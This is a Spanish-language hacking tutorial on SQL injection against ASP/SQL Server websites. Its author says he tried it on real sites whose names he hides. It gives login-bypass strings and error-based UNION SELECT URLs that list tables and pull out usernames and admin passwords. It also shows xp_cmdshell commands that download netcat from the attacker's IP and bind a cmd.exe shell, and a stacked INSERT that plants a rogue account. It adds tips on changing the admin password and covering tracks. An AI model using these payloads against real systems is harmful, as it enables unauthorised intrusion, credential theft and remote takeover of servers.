SQL INJECTION 24V
By Kaskade

Introucción :

Bueno, este es mi primer documento relativo al Hacking, hace muy poco que estoy en este mundillo y apenas estoy dando mis primeros pasos, pero creo preciso refundir varios textos hallados en Internet acerca de SQL Injection para poder dar una visión más global y sobretodo práctica y orientada a resultados.. Para ello emplearé como excusa un par de webs que reunen las características necesarias para un ataque mediante SQL Injection y aprovecharé las características de cada una de ellas para enriquecer la casuística del mismo. Citaré en primer lugar las fuentes de información y las premisas en las que se basa esta técnica para, posteriormente, adentrarme en la ejecución del mismo. A la finalización del documento expondré las conclusiones que se pueden extraer, recordando siempre que dichas conclusiones están basadas en estos casos en concreto pero entendiendo el comportamiento de los mismos se puede extrapolar a cualesquiera otros casos afines.

Fuentes :

http://www.ingeniova.es/seguridad/sqlinjection.htm
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://developer.mimer.com/documentation/Mimer_SQL_Reference_Manual/Data_dic_views2.html
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
http://www.nextgenss.com/papers/advanced_sql_injection.pdf (Recomendado)

Premisas :

La página debe de realizar consultas a una base de datos con el fin de visualizar resultados de la misma como parte de su funcionamiento normal. Bases de datos como Oracle ,Access y MySQL también se ven afectadas por esta vulnerabilidad pero también así por su estructura en particular y su sintaxis con lo cual, si bien las ideas son las mismas, la forma de explotarlas puede variar sustancialmente. En estos 2 casos veremos el ataque a bases de datos SQL Server bajo consultas mediante asp. No por nada en concreto sino porque es el caso más sencillo e ilustrativo.

La página tiene que tener algún tipo de autenticación, nuestro objetivo será la consecución de users y passes de la base de datos para poder entrar a la misma (preferentemente el user y pass del administrador para poder operar con el máximo de privilegios).

Y por último tiene que ser vulnerable. Esto es, permitirnos realizar consultas a la base de datos, así como cualquier otra instrucción que le pudiéramos pasar a cualquier base de datos mediante un cliente con el que nos conectáramos a ella. Una de las vulnerabilidades que más facilita la labor (aunque no es ni mucho menos indispensable) consiste en mostrarnos parte del query como resultado de un error en la resolución del mismo. Muchas veces esto solo sucede en uno de los 300 asp de la página por lo cual la parte más complicada estará en torno a la búsqueda de ese asp vulnerable.

Solo queda citar que, aunque hay muchos métodos para colarse en uno de estos sistemas sin necesidad de password, muchos están capados para no permitir este tipo de trucos. Yo me encaminaré hacia una forma, creo que más de hacker que de script kiddie : la consecución mediante queries del contenido de todas las tablas del sistema, y más concretamente de los users y los passes.

Qué necesitamos saber

Toda autenticación mediante user y pass hecha contra una base de datos consiste en un select de ese user y ese pass como valores en una tabla determinada, esto quiere decir algo así :

SELECT Password FROM Login WHERE Username='loquelemetas'

Username	Password
Sergio	Th4Nx
Admin	S3nT7n3L

En la query anterior, busca password (que sería lo que tú le metieras) en la tabla Login (la tabla dibujada más arriba) donde el username sería el que tú le metieras. Si traducimos esto a un caso práctico :

SELECT 'Th4Nx' FROM Login WHERE Username='Sergio'

Y entonces compara con el password que le hemos introducido. Si el password fuera efectivamente 'Th4Nx', nos fijamos en la tabla, y el password que corresponde a la fila Sergio se corresponde con el que le hemos introducido con lo cual nos permitiría el acceso. Muchos de los sistemas de entrada sin necesidad de password se basan en la estructura de esa query y de cómo interpreta el servidor de bd esa query. El truco en ese caso (aunque para cumplir los objetivos de este tutorial no sea necesario conocerlo realmente) se basa en esa comilla y en que le podemos pasar queries como valores. Esto es :

SELECT 'Niidea' or 1=1 FROM Login WHERE Username='Admin' or 1=1

La autenticación se basa en que tanto el Username como el Password devuelvan un 1 lógico. Es sencillo : si encuentra el username es un 1 lógico y si el password se corresponde es el otro 1 lógico. El truco está en forzar ese 1 lógico y eso lo conseguimos mediante ese OR, ya que siempre 1=1. Esto también ocurre algunas veces con el username, en esos casos nos podemos ver dentro habiendo entrado como el primer usuario de la tabla. Si ese usuario no tiene privilegios, nosotros tampoco los tendemos.

Tenemos otra posibilidad, que radica en la forma de interpretar los signos "--" (dos signos de menos seguidos) la bd. Ésta omite todo lo que viene a continuación, de esta forma nos encontramos que introduciendo como username : Admin' -- y sin contraseña obtenemos la siguiente query :

SELECT password FROM login WHERE Username='Admin'--

Si la página es vulnerable nos encontramos con que omite toda comprobación posterior a los signos - y nos da acceso siempre que exista el usuario admin. Es otra forma curiosa de obtener acceso como administrador pero en esta dependemos de que el nombre de usuario del administrador sea ese y que no hayan cribado este método de entrada.

Sigamos ...

Una vez dentro existe una tabla maestra que contiene el nombre de todas las tablas del sistema, será la tabla que consultaremos para dar con el nombre de la tabla dónde se guardan los username y password de la gente. Se llama Information.Schema (El último link de arriba nos muestra su estructura y podemos seguir mediante los links de la derecha la esructura de cada una de sus columnas, que a su vez son tablas. En ella consultaremos tanto los nombre de las tablas como el nombre de sus columnas para poder realizar las consultas que nos devuelvan los usernames y passwords. Como se puede observar, nos pasearemos tan tranquilamente por las tablas de toda la base de datos.

(Nota : No aceptamos Drop Table como query.)

Manos a la obra :

Empecemos localizando una página web que corra una bd SQL Server y que realice las consultas mediante asp. En los 3 casos no citaré los nombres correctos de las páginas para evitar un posible crackeo de las mismas ya que como bien es sabido el robo de nombres de usuario y contraseñas es delito. Y el autor de este tutorial no quiere responsabilizarse de un mal uso de estos conocimientos al haber dejado el mismo un log del tamaño de varios tomos de la La Larousse en versión extendida.

En mi caso trataré 3 páginas, ya que cada una tiene características propias que enriquecerán el conjunto:

Empezaremos yendo al google y escribiendo como búsqueda :

"Algo.asp?find=5"

Y vamos probando, por ejemplo en una de ellas :

http://www.pagina3.org

En primer lugar empezaremos por saber si está corriendo una base de datos (muy probablemente) y si ésta es vulnerable. Lo haremos de una forma muy sencilla. Comprobaremos mediante el ejercicio que propone el primer link del apartado fuentes la base de datos que corre y si ésta es vulnerable. Para ello buscamos dentro de los links de la página un link que nos conduzca hasta un asp al que se le pase un valor numérico. El mismo caso que en la búsqueda en el google. En este caso tengo un asp al que se le pasa lo siguiente : uid=58. Y procedemos a sustituir eso en la barra de direcciones del navegador por uid='58.

Y sorprendentemente obtenemos el siguiente error :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '58'.

De lo que podemos deducir que corre un sql server y que es vulnerable a la inyección de código. Esto sucede porque hemos hecho la siguiente consulta:

SELECT valor FROM tabla WHERE uid=''58'

Si nos fijamos, la comilla que hemos puesto es la que está a la izquierda del 5 y se queja de que hay una comilla sin cerrar. Eso quiere decir que podemos meterle código mediante los valores que le pasamos a un asp, que será interpretado por el servidor de base de datos y que nos devolverá un resultado igual que nos lo devuelve en el caso de una consulta correcta al consultar la página web de forma normal.

Llegados a este punto, nos aprovecharemos de una vulnerabilidad de SQL Server. Dicha vulnerabilidad se basa en la imposibilidad de realizar una conversión del tipo string al tipo integer. La primera forma que probaremos será usando la función union, para la cual le pasaremos como valores un integer y un string, forzando al error. El truco está en que nos debiera devolver el string como parte del error ....

Y si el string fuera el resultado de un select ? jejejejeje

Para ello introducimos la siguiente URL :

http://www.pagina3.org/elasp.asp?uid=58%20UNION%20SELECT%20TOP%201%20 table_name%20FROM%20information_schema.tables

y obtenemos el siguiente error :

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'REFERENTIAL_CONSTRAINTS' to a column of data type int.

Efectivamente nos ha devuelto el string y como en este caso el string es el resultado de una query, obtenemos que el primer valor de table_name es Referential_Constraints. Eso quiere decir que el nombre de la primera tabla de la base de datos es Referential_Constraints.
Y cual será el de la segunda ?, y ya que estamos ... cual es el nombre de la tabla que guarda los usernames y los passwords ? . Preguntemos pues.

http://www.pagina3.org/elasp.asp?uid=58%20UNION%20SELECT%20TOP%201%20 table_name%20FROM%20information_schema.tables%20where%20table_name%20not%20in%20('referential_constraints')

(Nota : todo esto no es case sensitive a no ser que lo sea el username y el pass)
Y de esta manera obtenemos el nombre de la primera tabla que no sea la que nos ha mostrado antes :

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'dtproperties' to a column of data type int.

Y así vamos añadiendo cada una de las que nos muestre para obtener la siguiente :

http://www.pagina3.org/elasp.asp?uid=58%20UNION%20SELECT%20TOP%201%20 table_name%20FROM%20information_schema.tables%20where%20table_name%20not%20in%20('referential_constraints','dtproperties')

Y obtenemos la siguente :

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'sysalternates' to a column of data type int

Todo esto sería lindo pero hay varios casos en los que no funciona.:

- Cogemos otro link diferente de la página 3 y probamos lo del UNION SELECT : http://www.pagina3.org/otroasp.asp?uid=29%20union%20select%20table_name%20from%20information_schema.tables

y obtenemos el siguiente error :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'by'.

A simple vista nos podemos creer que la web nos está insultando (es algo así en realidad), pero si usamos un poco la imaginación vemos lo que nos está queriendo decir: el query que nosotros queremos realizar acaba en la palabra tables, pero para la página web, esa query tiene más parámetros que los que vemos en la barra de direcciones y muy probablemente, después del uid=29 la query seguiría con un "by". Qué quiere decir eso ? que para inyectar ahí necesitaríamos, o bien decirle que omita todo lo que va después del uid=29 o buscarnos otro asp que no tenga más parámetros que los que vemos (como en el primer asp que probamos en página 3). Un truco que tenemos para decirle que omita todo lo que va después del uid=29 (sin omitir nuestra query, claro está) es acabar nuestra query con un WHERE 1=1. Esto hace que directamente sea correcto todos los argumentos de después y que no vemos. Probemos :

http://www.pagina3.org/otroasp.asp?uid=29%20union%20select%20table_name%20from%20information_schema%20tables%20where%201=1

Microsoft OLE DB Provider for SQL Server error '80040e14'
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Y aquí tenemos otro de los errores típicos (sí, nos sigue insultando pero todavía nos podemos rebotarnos) si consultamos el pdf de la sección de fuentes podemos encontrar que este error nos indica que nuestro UNION SELECT necesita el mismo numero de campos que la query original. Si la query original buscaba implícitamente nombre,sexo,edad,altura, al buscar nosotros simplemente table_name, estamos omitiendo el resto de campos, así que procedemos a añadir campos hasta que deje de pedírtelos:

http://www.pagina3.org/otroasp.asp?uid=29 union%20select%20table_name,table_name%20from%20information_schema.tables%20where%201=1

Microsoft OLE DB Provider for SQL Server error '80040e14'
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists

Sigue en sus 13. Tal vez sean más campos los que pide ..... Al cabo de un rato y de esta URL (copio literal el trozo de los campos), conseguimos acceder al nombre de la tabla :

http://www.pagina3.org/maldito.asp?uid=29%20union%20select%20table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name%20from%20information_schema.tables%20where%201=1

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'dtproperties' to a column of data type int.

En este caso, al no mencionar el TOP 1, nos ha devuelto un valor que no sabemos si es el primero o el último o uno a random.
Debo mencionar antes de seguir un caso curioso :
probando este mismo método en página1, tuve que hacerme valer de una amiga para que ella fuera probando los números pares de campos y yo los impares ... lo dejamos cuando ambos llegamos a 100 y 101 campos respectivamente. Mi consejo es que consultas de 50 campos nos son imposibles pero sí improbables. Si puedes búscate un asp donde puedas inyectar tranquilamente sin estos problemas.
Pero como dice un buen amigo mio ..... << podía ser peor >>

http://pagina1.com/un.asp?id=69%20union%20select%20table_name,table_name%20from%20information_schema.tables%20where%201=1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]No se permite la conversión implícita del tipo de datos nvarchar a money. Utilice la función CONVERT para ejecutar esta consulta.

Vale, si antes no pillabas lo de que la página te insultara, ahora seguro que lo has pillado. Nos encontramos ante lo que parece un muro insalvable : la conversión de tipos que nos da toda la información está deshabilitada (!!!!!!!). Pero ante todo debemos recordar lo que nos está diciendo continuamente : Soy vulnerable, soy vulnerable ...
Una posible solución sería reemplazar uno de los contenidos que te muestra la web por una consulta de lo que quieres. Es 1 idea pero no tienes tampoco acceso al nombre de las tablas. Pero es entonces cuando surge la idea feliz, que nada tiene que ver con todo esto. Si podemos pasar el UNION SELECT quiere decir que el valor que le pasamos a una de las variables del asp podria ser una query directamente ... probemos pues.

Tras una larga caminata por la web, y omitiendo mofas por parte de la página contra el que esto escribe, nos topamos con esta URL :

http://pagina1.com/otro.asp?N=1&counter=9999999&inickname=algo

de aquí sacamos que counter ha de ser un integer .... y si hacemos que sea un string y ese string sea el resultado de una query ?, toy flipando o de tanto delirar he dao con algo wapo ?. Probemos :

http://pagina1.com/otro.asp?N=1&counter=(select%20top%201%20table_name%20from%20information_schema.tables)&inickname=algo

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor nvarchar 'REFERENTIAL_CONSTRAINTS' para una columna de tipo de datos int.

JAJAJAJAAJAJJA, y decía que tenía deshabilitada la conversión de tipos. Ahora ya podemos pasar a buscar la tabla que nos muestre los usernames y passwords :
Para ello volveré a página3 que es más simple en construcción y citaré a página 1 como mera anécdota y buen consejo.
Ahora hemos de echar mano a la tabla Information_Schema. Sabemos que podemos tener el nombre de todas las tablas con lo que asumiremos que tenemos una tabla llamada TblUsers (que existe en página 3 de hecho). Pero para poder hacerle un select necesitamos como mínimo el nombre de una de sus columnas. Si seguimos el primero de nuestros links podemos observar que la tabla information_schema tiene una de sus columnas llamada columns y que ésta a su vez tiene una columna llamada table_name. Con un poquito de imaginación podemos construir la query .

http://www.pagina3.org/elaspdesiempre.asp?id=23%20union%20select%20top%201%20olumn_name%20from%20information_schema.columns%20where%20table_name='TblUsers'

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'PersonID' to a column of data type int.

Y eso nos devuelve la primera columna de la tabla TblUsers. Repetimos el proceso de antes añadiendo que no nos muestre las que ya nos ha mostrado hasta que llegamos a las columnas de username y password. Y entonces ya solo la query final.

http://www.pagina3.org/eseasp.asp?id=23%20union%20select%20top%201%20username%20from%20tblUsers

repetimos el proceso para to2 los usernames hasta que encontramos un username admin o algo parecido, y si no pues comprobamos los privis de cada uno. Es engorroso pero más no podemos pedir. Además, siempre hace gracia ver los pass de la gente, que se cree que por poner números y letras son inviolables.

http://www.pagina3.org/elasp.asp?id=23%20union%20select%20password%20from%20tblUsers%20where%20username='admin'

En este caso 'admin' no existe pero el paso final sería ese.

La anécdota de la semana, y creo que es una wena enseñanza, es que en página1, la columna de username y la de password se hallaban en la posición 35 y 36 respectivamente en la tabla. Sugiero usar la orden LIKE para gente impaciente, aunque nunca cabe descartar el cambio de nombre a dichas columnas por lo que podría inducir a errores.
Una vez con el pass del admin., solo nos queda el peldaño de encima : el control sobre la máquina. Citaré el modus operandi ya que un servidor (el que esto escribe) no ha conseguido hacerlo rular, más que nada porque la mayoría de las páginas tienen cribada la concatenación de sentencias mediante el " ; " o bien no tienen los permisos necesarios para la ejecución de código. Me estoy refiriendo a los procedimientos almacenados. Con ellos y , todo sea dicho, los permisos necesarios, podemos ejecutar código arbitrario en la máquina objetivo. Cito a continuación las sentencias con las cuales se puede obtener un netcat limpito en el server.

Algo.asp?id=25 exec master..xp_cmdshell
'tftp+"-i"+TU.IP.VA.AQUÍ+GET+netcat.exe+C:\inetpub\scripts\nc.exe

Lo activamos :
Algo.asp?id=25 exec master..xp_cmdshell 'C:\Inetpub\scripts\nc -v -v -L -d -e cmd.exe -p 6200'

Y a conectarnos.
Para aquellos que prefieran troyanizar el sistema, también tenemos a nuestra disposición una amplia colección de procedimientos almacenados. Si alguien recuerda lo engorroso del Unicode, pues nada, aquí simplemente vamos al grano, directorios, archivos, registro etc ...

http://www.sql-server-performance.com/ac_extended_stored_procedures.asp

El único problema que tiene todo esto de los procedimientos son los permisos con los que corre el web user. Por lo que se suele desencadenar en el siguiente pantallazo :

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]EXECUTE permission denied on object 'xp_cmdshell', database 'master', owner 'dbo'.

Excepciones :

Si los pass que queremos sacar de la base de datos son numéricos, al hacer el UNION no generarán errores con lo cual no los podremos ver. El truco consiste en hacerlos strings jejeje. A eso vamos.
La forma más sencilla es agregar un string al pass en cuestión, para que al leerlo lo lea como un string. Es un simple convert :

http://algo/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20añadido') FROM admin_login where login_name='user'

Asumiendo lo siguiente :
Username = user ; Password = 666
Obtenemos lo siguiente :
Username = user ; Password = 666añadido

Con lo cual al leer el pass ya nos lo da, si queremos no dejar huellas será mejor que restablezcamos el pass una vez lo hayamos cambiado .... o tal vez querais cambiarle el pass al admin. Jejejeje. Eso ya os lo dejo a vosotros. Para los que querais haceros una cuenta en el sistema os dejo la siguiete URL :

http://URL/find.asp?id=10; INSERT INTO 'tblUser' ('login_id', 'login_name', 'password', 'details') VALUES (666,'username','newpas5','NA')-